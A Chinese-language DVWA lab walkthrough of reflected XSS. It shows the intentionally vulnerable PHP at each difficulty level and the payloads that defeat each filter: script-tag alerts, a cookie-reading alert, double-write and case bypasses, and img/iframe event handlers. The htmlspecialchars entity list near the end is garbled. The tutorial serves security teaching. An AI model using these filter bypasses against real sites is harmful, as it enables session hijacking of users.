反射型XSS攻击
又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用户的点击)** ****恶意代码并没有保存在目标网站,由浏览器解析脚本。**
1、级别:Low
源码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
代码采用get方式传入了name参数,没有做任何的过滤与检查,存在明显的XSS漏洞。
输入一个简单的语句测试一下:
<script>alert(1)</script>
有弹窗,即测试成功,按F12查看一下网页代码
可以看到我们在输出“Hello”之后成功注入了代码,原本这个地方应该是输入数据的,但是却变成运行代码了 ,从而达到黑客想要的目的,甚至是获取信息。
尝试一下直接获取cookie
<script>alert(document.cookie)</script>
2、级别:Medium
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
这里对输入进行了过滤,使用str_replace函数将输入中的<script>替换为空,有多种方法可以进行绕过。
双写绕过
<sc<script>ript>alert(123)</script>
** **
** 大小写绕过**
<Script>alert(456)</script>
**利用其他标签进行绕过 **
(1)img(图片插入法)
<img src=1 οnerrοr=alert('xss')>
(2) iframe
<iframe οnlοad=alert(123456)>
……
3、级别:High
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
preg_replace() 函数用于正则表达式的搜索和替换,这里凡是带script的都会被过滤,/i的意思是大小写通用,所以上述双写和大小写绕过都不行了,但利用其他的标签进行绕过依然可以成功。
4、级别:Impossible
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
添加了 anti-token 防御机制,和htmlseecialchars函数来防御
htmlspecialchars()函数
htmlspecialchars函数的功能:
把预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <(大于)成为 >
完美的对我们输入的内容进行过滤,避免了XSS攻击。
版权归原作者 RexHarrr 所有, 如有侵权,请联系我们删除。